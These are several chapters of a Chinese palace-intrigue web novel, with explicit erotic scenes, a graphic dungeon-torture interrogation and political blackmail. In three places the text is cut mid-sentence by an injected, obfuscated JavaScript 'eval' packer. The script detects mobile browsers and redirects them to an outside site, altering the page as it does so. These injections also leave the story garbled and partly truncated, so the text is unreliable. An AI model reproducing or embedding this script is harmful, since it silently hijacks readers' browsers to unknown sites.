越长风独自坐在紫宸殿里代沈约处理年前积下的政令文书,忽然小太监来报,说是太后请她过去慈元殿一叙。 “昭阳啊。”见她进来,太后几乎便要倒履相迎,站起身来连连朝她招手。脸上一片慈母的爱怜,喊着的却是冷冰冰的封号。 越长风不紧不慢的走到母亲面前,没有行礼,也没有回握母亲朝自己伸出来的手,只是淡淡应了一声:“嗯。” 太后有些尴尬的收回了手,让人搬来凳子给长女坐下:“今天母后找你前来,是想和你商量一件事。” 越长风微微点头,没有说话,一副愿闻其详的样子。 太后干咳两声,顿了顿才说:“皇帝今年十二岁,是不是应该让他到紫宸殿跟你学习理政了。” 越长风忍不住笑出声来。 “母后不如听听自己在说什么?” 太后面色变了又变,正要开口说些什么,越长风却没有给她那个机会。 “本宫十二岁的时候想要跟翰林院的先生读书,父皇母后那时是怎么说的?” 太后没有答话,但她可记得清楚,那时先帝说越长风年纪还小,不忍她学习辛苦,而作为母亲的她也乐得做一个娇养女儿的慈母。 明明,他们就已经为尚在襁褓里的弟弟找了翰林学士作为启蒙老师。 结果是越长风自己找上当年二甲入仕、刚进翰林院担任编修的沈约,像民间那样带着束修,跪在他的面前,请他收自己为徒。 越长风低头拨弄着涂得光亮的指甲,自顾自的说着:“本宫对皇弟可好得多了,不仅把自己的老师让给了他,人家现在还是政事堂的宰相,皇弟跟他读书,不就已经是在学习理政了。” 太后显然毫不领情,脸色一沉,直截了当的道:“昭阳,你老实跟母后说,你是不是没有还政给皇帝的意思。” 越长风站起身来,修长的身影笼罩住坐着的太后,她居高临下的俯视着自己的母亲,向来多情的桃花眼里只有深渊一样的黑暗和无情。 “皇弟坐得上这个皇位,母后做得了这个太后,全都是因为本宫。” “你要记得,六年前的太子,根本就不叫越成璧。” “不属于你们的东西,我不放手是应分,我放手了是恩赐。” 太后不得不抬头仰视自己的女儿,只觉那道冷锐的目光有如无形之手在她的脖子上收紧。 “哀……哀家晓得的。”她声如蚊呐,没有一丝底气。 看着手足无措的太后,越长风叹了一口气,语气放软了一些:“你是我的母亲,成璧是我的弟弟,只要你们乖乖听话,没有人会比我待你们更好。” 说罢,她也不重新坐下,而是直接告退。 太后深深的跌坐在椅子里,惊疑未定的舒了一口气。 太后虽是先帝的皇后,但并不是先帝的元配。元后病逝之后,宫中资历最高的贤妃因着生养大公主之功,又没有儿子可以对元后留下的嫡子构成威胁,所以才被立为继后。 本来的太子,便是元后留下的嫡长子,越长风的大哥。 只是后来继后老来得子,幼弟被父皇捧在手心长大,太子开始感到自己的地位岌岌可危,终于在六年前的除夕夜发动宫变,意图从玄武门攻入皇城,逼迫父皇传位,以免夜长梦多。 ——可惜,失败了。 所以太子成为了废太子,也成为了皇城累累白骨之中的其中一具尸骸。 皇帝只剩一个嫡子,顺理成章的被立为太子,而他的亲姐姐则加封食邑南境三十郡,开府设司,仪比亲王,正式以女子之身踏入朝堂。 至于那一夜在玄武门前和废太子一党对峙,力挽狂澜守住宫城的,正是带着镇北军从北境驰援的小将军裴玄。 傍晚,崇仁坊的镇北将军府里。 光着上身的男子舞着手中长刀,刀风霍霍,男子蓬松的长发用一条发带束成马尾,精壮的胸腹上汗水淋漓,在初阳下泛着浅浅的水光。 四十二招舞毕,裴玄收刀,随手脱下发带,手背胡乱往额上一抹,大步朝懒懒倚着院门而立的越长风走去。 “末将自北疆回京述职,至今已有十一日。” 他微微低下头去,散下来的长发像大型犬的一头长毛,恰好是越长风伸手便能抚摸发顶的高度。 她听出了他的弦外之音,却没有如他所愿的给他顺毛,只是淡淡道:“怪本宫没来看你了?” 裴玄听出了越长风话音里的不耐。她的心情似乎不怎么好,而他清楚知道越长风这人一贯把内心的阴暗隐藏在明艳自信的表象之下,积少成多,总也需要发泄出来。 她会想起来探望他,显然就是为了发泄。 “末将不敢。”嘴上说得毕恭毕敬,却已经逾矩地解开她抱在胸前的手,小心而执着地把它放到自己头上。 “只是,北疆三年,挂念殿下了。” 越长风敷愆地揉了两下,裴玄明明是低着头的,她却仿佛看到了他嘴角上翘,身后那条看不见的尾巴也仿佛摇了起来。 越长风对给大狗狗顺毛显然没有什么兴趣,手掌悄然下滑,停在像大石般坚硬的胸膛上。 指尖轻揉慢捻的轻拨几下,小小的尖端迅速站了起来。 越长风轻笑:“看来是真的挂念本宫。” 大狗狗的呼吸骤然加重,他猛然抬头,眼珠骨碌碌的看着她。 “那殿下呢。” “可有挂念我。” “有啊。”越长风想也不想便答。 “骗人。”裴玄任她不安份的手在自己胸前蹂躏,拉过她的另一只手,放在自己的唇上亲了下去。 越长风的手指趁机从双唇之间钻了进去,撬开他的齿关,强迫他张开嘴巴。 “裴小将军的牙齿还是这么洁白漂亮。”越长风认真的端详着他顺着自己手势大张的嘴巴,一边冷静的点评。 “舌头也是软软的,这三年来本宫最是挂念。” 边说着,边用食中二指夹住大狗狗的舌头,轻轻拉扯,好似在测试舌头的柔软度和张弛度。 无论是说话还是动作都让裴玄感到自己是一件待价而沽的货物,而他的买主正在细细检查,看看这件货物放了三年还能不能用。想到这里,他的耳根微微泛红,呼吸也变得粗重起来。 毫无预兆之下,芊指的指尖忽地深入口腔按住他的舌根,让他生理性的作呕,一下咬在她的指节上。 越长风好像觉得这样的反应很有趣般,阴冷的气息散了不少,眉眼弯弯看着裴玄通红的脸。指下动作不停,变着花样挟弄柔软的舌头,直到口涎止不住的从嘴角溢出、滑落。 执掌边关十万兵权的镇北将军此刻光着臂膀,流着口涎任人狎弄,眼尾下垂一副可怜兮兮的表情,头上那对看不见的狗耳朵也仿佛无力地耷拉在两边。 越长风玩够了那条软舌,才终于抽出手指,裴玄自动自觉伸出舌尖轻舔上面的齿痕,同时带有温顺和占有意味的动作,像犬只在主人身上必须留下属于自己的味道。 直到指上满满的都是黏腻的津液,裴玄才吐出手指,哑声问:“京师美人如云,人人都是巧舌如簧,所以殿下对每一个人都是这般惦念的么。” 越长风把濡湿的指腹往他胸前一抹,接着往下检验,脸上笑意随着他禁不住的颤栗而逐渐加深:“天天见的,怎及三年不见的大狼狗挂念。” 裴玄听她叫自己大狼狗也不恼火,反而在听到“天天”两字时眸光一黯。壮硕的手臂环抱在女子的腰间,他把头埋在她的颈窝处,低低呢喃:“那他们可会像我一样咬殿下。” “弄脏殿下。” “这样……奉上身子,供殿下狎玩。” 越长风想到了一个人。那人把她咬了,弄脏了,动弹不得任她羞辱把玩,却还是维持着那副高傲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029634|162278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样子。 不像面前这只大狗狗的驯化、臣服。长着充满侵略性的健壮身躯,却主动收起利爪,以温润的唇舌代替来表示对主人的顺从。 可是,世上又怎会有人真的无条件地以他人的意志为自己的唯一? 越长风的神色再一次冷了下去。 “怎么,很不甘心?” “要不你把帅印解了,孓然一身的锁在本宫床上,天天侍奉本宫。” 裴玄从她的颈窝处抬起头来,水汽迷蒙的狼狗眼中透露着一丝祈求,想从她的神色中找到一丝玩笑的意味。 然而没有。 越长风的尾音长长的,声音柔媚软糯,唇角上翘的弧度却越来越冰冷。 裴玄本来一片阳光的脸色一白,环着她的双臂一松,低头小心翼翼的亲在她的唇角。 “就算是三年一次,末将也可以伺候好殿下。” 他的声音低沉暗哑,分不清是久经沙场还是此刻满溢的欲望所致。 越长风笑了笑,抚着他的后颈与他口鼻相抵,温热的气息在冰冷的夜里交融:“那就请裴小将军展示一下,这三年来你伺候人的功夫可有退步。” 裴玄等的就是这一刻,唇瓣急不可待的贴了上去,软舌撬开齿关,轻轻的摩挲挑逗。 事实证明,三年未见,他的功夫不仅没有退步,饿久了的大狼狗反而更见热情。 阳光壮硕的裴玄一直都很符合越长风的审美,在情事上她对绝对控制有着异常的执着,没有什么比看着一个武功高强的大将军为自己雌伏时那连绵起伏的背部线条更让她舒心写意的景象了,也没有什么人能比一个常年练武的武者有着一副任她发泄也还有精力迎合的身子。 可是,就算是契合,那又怎样? 出了房门,每一个人都有自己的人生。 越长风倚着床头而坐,裴玄亲自打了水来,先给她擦了手,才简单粗暴地清理自己身上的一片狼藉。 她在他的胸前打着圈圈,一脸餍足的谓叹:“裴小将军的表现这么好,让我差点就真的想把你锁在后院,当我的驸马了哩。” 裴玄动作一顿:“殿下,别开这样的玩笑。” “我知道。”越长风心情好了不少,声音轻快:“因为是你我都知道没有可能的事,所以才是玩笑,不是吗?” 裴玄一怔,很快却释怀似的眉眼舒展,低低一笑:“是啊。” 他在九年前便已知道,昭阳公主的驸马可以是任何人,唯独不能是他。 他们两人年纪相若,自小青梅竹马,越长风曾经是他年少时的绮梦,在她及笄之际他也曾经求过自家家主为他请尚公主。 身为镇北军上任统帅的裴老将军没有直接回绝,只是言简意赅的道:“鱼与熊掌,不可兼得。”然后让他在裴家祠堂里跪到他可以给出一个选择为止。 鱼和熊掌分别是什么,两人之间心照不宣。 裴玄在祠堂里跪了一宿,最终站起身来,马不停蹄的赶往北疆军营。 他要建功立业,他要手握兵权、封侯拜将,他也有他的野心和欲望。 驸马都尉空有名衔而毫无实权,历代公主下降世家,被选中的世家公子都是被家族高高捧起的吉祥物,同时也是被家族放弃的棋子。 裴玄做不了。 幸好柳时言死后公主未曾再招驸马,就算身边男人再多,也不过都是无名无份的外室。 在这一点上,他和他们都没有高低之分。 “可以每三年被殿下使用一次,这样就……很好。”裴玄平静的说。 越长风长长的“哦”了一声,慵懒的嗓音暧昧挑逗:“一次就够了?” 裴玄不语,转头定定的凝视着她,狗狗眼中满是祈求和期待。 越长风笑了笑,如他所愿的出声挽留:“今天春闱既有文举也有武举,裴小将军不如留到三月殿试,给本宫掌掌眼吧。” 无形的狼狗耳朵重新竖立起来,裴玄爽快的回应:“末将遵命。” 5. 第 5 章 这几天越长风的心情明显好了很多。 沈约告病在家期间,每一次小朝会上那些五品以上的达官贵胄都只觉有如大山罩顶,在上位者的九珠冕旒后那道忽明忽灭的目光下连大气也不敢喘。 沈相重新站到文臣之首的那天,却仿佛千帆过后,风云尽散。 所有人都归功于沈相回朝,只有陆行舟知道真正的原因是站在武将一列的裴玄。那日慈元殿里的事,他都一字不落的知道了。他还知道,越长风去了镇北将军府中过夜,翌日清晨又静悄悄的离开。 陆行舟对她的一举一动都了如指掌。对她的习性也是——包括她在床上舒泄的惯性,也包括她那男女逆反的癖好。 但他不能让她知道。 越长风的控制欲极强,她必须要牢牢掌控身边的人,但这些人也绝不可能入侵她的人生——更何况是他这样无孔不入的窥视。 无孔不入的窥视,用的是玄武卫手眼通天的本事。但玄武卫的权力由越长风一手赋予,本来就是她的鹰犬。 他只是她的一条狗。 可就算是狗,她宁愿大老远去找裴玄那条野狗,也不愿使用他这条召之即来的家犬。 陆行舟隐匿在紫宸殿后的廊柱之下,阴睛不定的脸色藏在死角处无人可见。 直到退朝之后,陆行舟冷眼看着沈约被一众文臣前呼后拥着走出殿外,脸色一如既往的苍白,却已无一丝病气,只有属于权臣的威仪和从容。又看着裴玄一脸的容光焕发,和一众武将嘻嘻哈哈的打成一片,似乎有人提议下朝后到平康坊的哪家秦楼楚馆去放松一下,被他笑着推拒,脸上掠过一抹不自然的红霞。 而他陆行舟身为玄武司使,虽是三品大员,却没有上小朝的资格。玄武卫身穿光鲜锦衣,却是做尽夜行之事,虽然身在朝廷编制之内,唯独听命于摄政长公主一人,只为她做不能暴露在阳光之下的罗刹事。 这样的他,人人畏怕,却也无人爱戴,也无人尊敬。 陆行舟悄无声息的转身离去,回到皇城外围的玄武卫衙门,没有进去办公的廨房,而是来到地下深处的一座牢房。 玄武卫的诏狱不在这边,这座掘地三尺也难以找到的森严地牢只是关住了一个人。 “司使。”门外守着的玄武卫躬身行礼,掏出腰间钥匙打开重重铁闸。 透不进一丝天然光的牢房里只有微弱的灯火照明,牢房正中一座与人等高的刑架,房顶上垂下一个大大的铁环。 牢房一角蜷缩着一抹高挑瘦削的身影,不用司使大人下令,玄武卫已经把人捆起固定在刑架上,穿过琵琶骨的那条铁链则是拴在铁环上面,整个人呈人字形的吊起。 那人头发蓬乱,低垂着头,看不清面容。 陆行舟从玄武卫手中接过满布尖刺的长鞭,摆手让他退下,然后用鞭尾拨开囚犯额前长发,又挑起他的下颌。握着长鞭的手青筋暴凸,指骨分明,紧紧攥住鞭柄,仿佛在隐忍什么。 神情恹恹的囚犯忽然笑了。这人不笑犹自可,这一笑起上来,却是越发像一个人。 ——先驸马,柳时言。 “陆大人受气了?”他的声音沙哑,仿佛被火烧过一般。 陆行舟一言不发,手中长鞭夹着破空之声重重落在那人身上。 架上男人一声不吭,仿佛在等陆行舟开口。 陆行舟手下毫不留情,一鞭过后已经在男人的胸膛上留下了渗血的鞭痕。接着再挥一鞭,让两条鞭痕交叉对称。 鞭尾在男人和先驸马有五分相似的脸上游走,陆行舟冷冷问:“柳时言真正的主子是谁?” 男人已经听过这样的问题很多次,答案也是一如既往:“陆大人知道的,我没有答案。” 一鞭毫不留情的落在他的左颊,打出了长长的血痕。男人紧咬牙关,仍是不吭一声。 陆行舟紧绷的脸似乎稍为一松。眼前这张破坏了的脸,还是和那个他最憎恨的伪君子有所不同;没有他的从容,没有他的雅致,只有属于夜行之人的坚韧和隐忍。 陆行舟在他的身上看到了一丝自己的样子。 “呵。”他冷笑,“柳时言已经死了六年,你倒还是护主。” 男人唇角一勾,牵动了脸上新伤,禁不住倒抽一口凉气。 “没有主上,我本来就不是什么东西。” 他又恶劣的补上一句:“陆大人不也是?” 陆行舟眸光一黯,目中阴霾重重,握着长鞭的手腕一抖,却是忍住了没有打下去。 在柳家这样的大家族里,自小便会为家族的长子嫡孙、未来家主培养几可以假乱真的替身暗卫,先从暗卫营里选出和少主面容身形有些许相近的少年,在少年还未长开的时候便一笔一画的修改少年的容貌,控制少年生长的速度,最终和少主没有血缘关系的人也能捏得面容有五分相像,而身形则是一模一样。 架上的男人便是柳大郎的替身暗卫,跟随主上以柳为姓,编号十三为名。柳时言在生时一直隐匿在旁,活着的理由只是为了代替主上面对危险,随时代替主上去死。 陆行舟不是替身,却也不过是主上趁手好用的一件东西而已。本质上,他和柳十三并没有什么不同。 陆行舟沉默半晌,只是长长呼了一口气,淡淡道:“柳时言本也不是什么东西。” “柳家和背后的主子没有了他,还有一个青出于蓝的柳四郎。” 陆行舟看到了柳十三在听见“柳四郎”三个字时眼中的一下迷惘。他这人不喜多言,直截了当的问:“所以,柳四郎是谁?” 柳十三愕然:“柳家四郎,还能是谁?” 陆行舟目光如隼,死死的盯着爪下将要撕碎拆吃的猎物。嘴上依旧平静的叙述:“长公主嫁入柳家两年,从来没有听过什么四郎。” “我也派人去南境查过,从来没有什么养在乡下的柳小公子。” 长鞭鞭尾绕上柳十三的的脖颈,然后缓缓收紧,不一会男人已是出气多而入气小,双颊涨红,大口大口的挣扎呼吸。 陆行舟松开鞭尾,往玄武卫准备好的盐水里一沾,不给柳十三开口的机会,新一轮的鞭笞已经开始。 沾了盐水的长鞭在全身绽开,一下又一下的力度越来越狠,沾了盐水的鞭子打得男人皮开肉绽,片刻之间皮肤已经没有一处完好。柳十三受刑已久的身体还是条件反射式的扭动,偏偏双手高高悬起吊在房顶的铁环上,双脚被铁链拴在刑架,不仅没有多少扭动的空间,越是拉扯身子,只会越是痛苦。 这已经不是严刑逼供,最懂严刑逼供的玄武司使在自己隐蔽的地牢里,只有严刑,没有逼供! 对世间百态都是冷漠抽离地在旁窥察的陆司使,昭阳长公主座下鹰犬,面对先驸马的替身暗卫展露了从未现于人前的混沌一面。 面前仿佛出现了越长风和柳孤城在柳家墓园里并肩而立的画面。画面又仿佛和六年前公主下降柳家时与驸马比肩执手、宛如璧人的一幕重叠,像利刃一般毫不留情的插在自己心口。 明明……对主上无条件忠诚的,从来都只有自己。沈相一腔大爱,裴小将军野心勃勃,曾经的夫君借她之名为旁人谋事,现在还冒出来一个身份成谜的所谓小叔。只有他陆行舟由始至终站在她的身后,只有他的眼里独独有她。 尽管他所忠诚的人,并不知道在他衙内地牢之中,一直锁着了一个和她的亡夫相貌相似的暗卫。 但她不需要知道。她只需要知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029635|162278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道她的狗无论做些什么,为的都是主人而已。 陆行舟骤然想起此行目的,理智终于回魂,刑架上的男人已是奄奄一息。他深深吸了一口气,随手扔了鞭子,伸出沾上血渍的手捏住柳十三的下颌。 “柳孤城是谁?”他再次问道。 柳十三笑了,和柳时言有五分相像的脸此刻鲜血淋漓,皮笑肉不笑起来更见狰狞。 “原来,他叫柳孤城?” 陆行舟见他态度恶劣,眸光一冷,正要挥手再打。却忽听柳十三轻轻笑道:“这小贱人原来也配有名字。” 说罢,索性闭上了眼睛,也丝毫没有详细说明的意欲。 陆行舟知道他的性子,要说的他已经说了,就算把人打死他也不会再说一个字,便冷哼一声带着鞭子离开地牢,让守在外面的玄武卫进去善后。 ----- 同一时间,同样在一座地牢里。 这座地牢却和玄武卫的牢房有着天壤之别。灯火通明的正厅宽广而精致,几乎与地面上的楼阁无异,地上铺着暖和的长毛毛毡,墙上挂着一字千金的名家字画,云顶檀木作梁,水晶玉璧为灯。大厅中间放着一座屏风,屏风上苏绣而成的一对仙鹤交颈相靡,缱绻缠绵。 屏风后的太师椅上懒洋洋的坐着一个男人,白皙修长的手指有一下没一下的敲着靠手。 柳家家主站在屏风之前,一向以百年世家自傲的高门族长腰骨竟然有些佝偻,握在身前的双手不自禁的摩擦着,天下间竟有让这位家主感到紧张、怯懦、不自在的人。 “人人都说柳家四郎肖似长兄,柳家主为了攀上长公主这株大树可以做出献子求荣的事,不愧是……物尽其用啊。”男人的声音无喜无怒,却让柳家家主感到一阵寒意。 柳家家主自认事情做得隐蔽,打晕柳孤城送进长公主府派的是自己的亲信,走的是内街小巷,进的还是长公主府的后门。他这么做不止是为了保住自己好不容易为小儿子做出来的“高岭之花”形象,更是为了不让眼前这人发现。 ——这人还是怎么知道了的? 见他缄默,男人轻笑:“怎么,一边为本座做事,一边还想重新依附昭阳公主,柳家是想吃尽两家茶礼?” 柳家家主对屏风后的男人显然忌惮得很,此时却是无名火起,一下鼓起勇气回怼:“长公主在柳家墓园外光天化日之下遇刺,阁主这么做不是陷我柳家于不义么?柳家承受不起公主之怒,柳某当初认回小贱人本来就是为了那张脸,现在献出用以自保,那又如何?” “小贱人”三个字一出,男人敲着靠手的滴滴哒哒之声骤止。隔着屏风,柳家家主无法看见男人的脸,却仿佛感到两度寒凉的目光刺向自己。 “呵。” 一声嗤笑过后又是静默半晌,恰好给了柳家家主冷静下来的时间,当他反应过来自己说了怎样忤逆的话时,却只有让他更加不安,脸上已是青一阵红一阵的。 “本座对你不义,便想和本座割席?” “工部多年大兴土木,建桥修路的银两都落到哪家去了,家主若是忘了,阁里可还留有字据。” “那些银子,可还存在阁里呢。” “柳家百年基业,可以说不要便不要了,家主傲骨,本座钦敬。”含笑的话语没有半分钦敬,也没有半分笑意。 柳家家主双膝一软,竟是对着屏风后的男人跪了下去。 “老朽错了。”一向充满威仪的声音随着家主的卑躬屈膝而微微颤抖。 “请阁主赐教。” 男人轻哼一声。“本座允许你继续献子求荣,麻痹昭阳。” 声音一沉,毫不掩饰话音里的阴鸷狠戾:“但本阁是庄,柳家是闲。你若忘了,本座定必让你柳家记起。” 6. 第 6 章 正月十五上元节,宫中举行一年一度的上元宫宴,京中六品以上官员尽皆入席,三品以上官员更是携家带眷。 进士科的礼部会试将在年后举行,各地考生陆续上京,京城士子更是趁着从乡下上来的贡生还未到达之前先往考官府上走动,想在考官面前混个眼熟。 会试的主考官是中书令沈约,根据惯例考生们都会提前作好一篇精雕细琢的得意之作,再拿着这份得意之作拜访相府,请其点评,叫作“行卷”。只是沈约作为群相之首日理万机,不仅一直忙于新政之事,还要兼顾少帝的学业,所有带着文章上门的考生通通被以“沈相不在府中”的理由被挡在门外。 普通士子想要求见沈相而不得,三品以上大官人家的子弟却又多了一个机会,便是在这上元宫宴里。 坐在主位下首的沈约终于避无可避,看着那些倚老卖老的世家长老们左一句“贤弟”,右一句“给你引荐”,硬往他的面前塞人,又看着那些故作温谦的公子哥儿又一人一杯的朝他敬酒。 世家公子们把斟满的酒一口干尽,沈约脸上依旧是带着威仪和疏离的浅淡微笑,只是轻抿一口,傲慢姿态不言而喻。每一口水酒下肚便快速扫过士子带来的文章,千篇一律的辞藻繁丽,华而不实,个个都仿佛有济世为怀之心,人人都不过是维系已有地位权势的既得利益者。 他看向一个又一个的待考贡生,对每一个人都问出了一模一样的问题。语气暗含轻慢,仿佛并不对任何一个名门士子的答案抱有期待:“青云梯道阻且长,你迎难而上,为的是什么?” 迎难而上,是为了什么? 这样的问题,他也问过他的每一位学生。 十二年前,沈约还是郁郁不得志的翰林编修,兼任皇亲贵胄的侍讲学士,教的也不过是风花雪月的诗词歌赋。 当时的太子答:“为了证明。”大逆不道的话点到即止,可他们都知道他是为了证明什么,证明给谁看。 二皇子自小好勇斗狠,没有什么弯弯绕绕的心思:“为了让四夷臣服,万国来朝。” 三皇子的母妃寒门出身,自小便没有什么底气,只羞怯回道:“为了不负母亲期待。” 柳家长子自幼才名远播,加上柳家家主与礼部尚书关系密切而得以进入国子监,与天家四兄妹同班学习。 事实上,越长风逗弄他的时候没有说错,沈约曾经最看得起的得意门生,不是如今权倾朝野的她,而是柳家时言。 听见沈约的问题,十六岁的柳时言坐直身子,他们之间只有一案之隔,他却仿佛透过沈约看到了外面的大千世界、壮阔河山,眼中熊熊似有烈火灼然。 以柳家嫡长、下任家主之名闻名于世的少年一字一顿的说:“为了做我自己。” 十二岁的昭阳公主年纪最小,沈约的问题看似简单,他却没有期待她能答出个所以然来。 女孩望出窗外,窗外正有一群南迁的大雁飞过,她的目光紧紧追着大雁,直到它们飞出宫墙以外,再也无法追踪。 她说:“为了自由。” 不过十二年光阴,回想起来恍若隔世。人人所求,尽皆成空。 越长风带着“吉祥物”驾到的时候,看见的正是被一群高门子弟众星拱月般围在中间的沈约,看着远方呆呆出神。尽管每一次有人敬酒沈约都只是轻抿一口,由于敬酒的人实在太多,此时的他已是醉意醺醺。 她最喜欢看冷静自持的人临近失控,却偏还要守住一本正经的形象。仿佛在挑衅人来戏弄自己,让他彻底破防。 四周匍匐参拜之声传来,越长风带着乖巧如扯线木偶的皇帝在主位落座,然后径自走下台阶,来到沈约跟前。 四周的世家贵子已经作鸟兽散。越长风看着怔忡出神的权相,柔声问:“老师在想什么?” 坐在沈约附近的都是三品以上大员,当中不乏刚刚才带着自家子弟向沈约敬酒的人。听见这一声“老师”,志得意满的脸色都顿时凝住。 向来中举的会试考生都会尊称主考一声恩师,除了感谢主考录取以外,更有表示愿意加入主考门下、结成一党的意思。可是这一声“老师”却是提醒了他们,沈约除了是会试主考官外,本来便是长公主的老师。 他们这些不肖子弟,又怎敢做殿下的同门? 沈约就算是醉醺醺的,还是听出了越长风对他今晚受到的万众瞩目感到不满,也知道她一向不喜欢与人分享自己的东西。 他轻轻叹了一口气,往自己杯中斟满:“在想臣在国子监时问过殿下的问题。” 他没有说是什么问题,越长风也记不起来,只是老师现在眼中只有自己,心中阴霾瞬间消散。 笑问:“老师到底喝了多少。” 沈约却站了起来,微微颤抖的手紧紧攥着酒杯,固执道:“臣敬殿下一杯。” ……老男人怎么可以这么可爱。 越长风笑意盈盈的拉过他的手,将掌中酒杯凑到自己唇边,微微倾斜,一饮而尽。 然后还回味无穷似的,轻轻舔过唇边溢出的酒滴。 “谢恩师赐酒。” 沈约的酒意顿时醒了三分,耳根泛起了一抹红霞,连忙以不胜酒力为由告罪,逃也似的匆匆走出殿外。 柳家家主的席位就在沈约下方,看见沈约离席,顿觉机会来了,推搡着身边的人来到长公主跟前。 柳家子嗣不丰,二郎三郎都已入仕,一个在少府监,另一个任侍御史,今天都有列席,却只能坐在连长公主的样子也看不清楚的末席。 柳家家主工部出身,在八年前靠着和天家结亲的关系爬到了尚书左仆射的位置,左仆射统领吏、工、礼三部,可谓油水最丰,加上昭阳公主极得皇帝宠信,未嫁之前在朝中已有一定的影响力。可是在柳时言尚公主之后,皇帝却把公主的权势统统收回,命她离开朝野视线,只能乖乖待在府中成为再普通不过的后宅贵妇。 然后在柳时言死后,昭阳公主重新掌权,柳家却失去了和公主的姻亲关系。公主对亡夫情深义重,对昔日的婆家却没有丝毫留恋;柳家家主眼睁睁地看着尚书左右仆射的权力渐渐被六部和中书、门下二省瓜分,又看着自己失去对三部的控制,看着沈约跨过自己成为政事堂的群相之首,权勢在指缝之间逐渐流逝,背后的人握住他的把柄却越来越多。就连曾经寄予厚望的二郎三郎,也在官场寸步难行。 柳家家主等不下去了。柳时言死后,背后的人对柳家的钳制越加严苛,他在朝堂继续停滞不前,便不得不卑躬屈膝的依附那人。 清高自持不入官场的柳四郎终于发挥了他的作用,半推半就的被父亲带到天下最尊贵的女郎面前。 柳孤城看着父亲为两人斟满酒杯,双手举起毕恭毕敬的朝越长风一敬:“老臣敬长公主殿下。” 越长风看也没看老家伙,歪头朝他身后的柳孤城灿然一笑,眼中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那两人正是柳家的二郎和三郎,来时隔得太远他们也听不见自家四弟和沈相在谈些什么,只是听命于父亲必须把这位“弟弟”挟回殿里。 沈约嗤笑:“柳家真是好家教。” 柳孤城站在那里,嘴角微勾,一言不发。 两人一左一右的把孤城夹住,直到走远了些,二郎对着沈约时的谄媚脸色已经沉了下去,狠狠道:“你以为自己是个什么东西,私自走了出来不说,还和相爷攀谈?” 柳孤城好整以暇的看着他,就像看着傻子一样。 ——若是这个所谓二哥知道了他在和沈相“攀谈”什么,怕是会一头栽进湖里。 “笑什么?”柳三郎没有二哥火爆,对柳孤城的傲慢和蔑视却是有过之而无不及。 “要不是你长得和大哥有几分相似,父亲又怎会接你回府?” “是啊,我就只有这张脸能用。”柳孤城不温不火,悠悠道:“要用到我这张脸,还不是因为大哥死后,柳家只剩一堆废物。” 柳二郎捏着他手臂的动作一紧。 “小贱——” 柳孤城笑意凝住,目光骤然变得阴冷。 酒过三巡,殿中搭了戏台,乐工舞姬鱼贯而入,越长风兴致缺缺的看着眼花缭乱的一众人等。 却忽听内侍惊呼:“不好了!” “有人落水了!” 7. 第 7 章 越长风秀眉一扬,本来已经萎靡的兴致重新点燃起来。 她微微侧身,朝站在身后的常茵吩咐道:“去看看是谁落水了。” 方才沈约醉醺醺的跑出殿外,柳孤城也跟着他的脚步出去了,然后她看见了柳家家主让人把两个不成器的儿子叫到身边,神秘兮兮的一通吩咐。 常茵没有让她失望,很快便回来了。 “回殿下,人已经救回来了,就安置在昭庆宫里,我让人打了热水让他泡泡身子。” 越长风双目一亮:“还是阿茵懂我。” 常茵会这么做,落水的定然不是柳二柳三那两个草包之一。 她还让自己猜,送到昭庆宫的到底是余下两人之中的哪一个。 要不,两个都收了? 越长风借故离席,嘴角的笑意压也压不住。 她本来并不喜欢昭庆宫,可是大概是做背德的事过于让人兴奋,殿中的一砖一瓦一草一木都仿佛散发着诱惑的气息。 偏殿里灯火摇曳,似乎有人。 殿中竖立着一座精雕细琢的沉香木屏风,屏风后隐约传出刻意压抑的低喘。 越长风走到屏风之前,透过屏风上的镂空看去,只见年轻男子仰躺在开了热水的木桶内,双目半闭,面色水润潮红,身上还穿着一身白衣,浸了水后却紧紧的贴在身上,欲迎还拒的突出一身精瘦又恰到好处的玲珑线条。一头青丝散下在木桶外,有几缕沾了水,依依不舍的贴在泛红的双颊上,唇瓣殷红如血,让他本来清贵孤傲的脸变得魅惑勾人起来。 男子白皙无瑕的脖子一直上仰,身体不停打颤,透过被热水浸得半透的白衣隠约还能看到被红潮染色的胸腹,半眯的眸里一片水光潋灧,眼神恍惚迷离。衣领下骨节分明的锁骨随着粗重的呼吸一起一落,中间一条淡淡的旧痕说不上是瑕不掩瑜,还是在矜贵的男子身上增添了一丝凌虐美,更惹人生起欺辱和掠夺之心。 越长风从屏风一旁走出,直直的朝木桶走去:“柳郎。” 不速之客闯入,更是用对亡夫的爱称呼唤自己,就像呼召毫不上心的猫狗宠物一般。 但是柳孤城此刻已经无暇在意。身体里仿佛有烈火燃烧,浸在水里不但无法冷却,那团火甚至烧得更旺,更加上头。他奋力挺起腰肢,一条腿想要跨出木桶——却在下一刻咚的一声滑回水里。 “呃……”低哑的痛呼声压不住溢出口来。 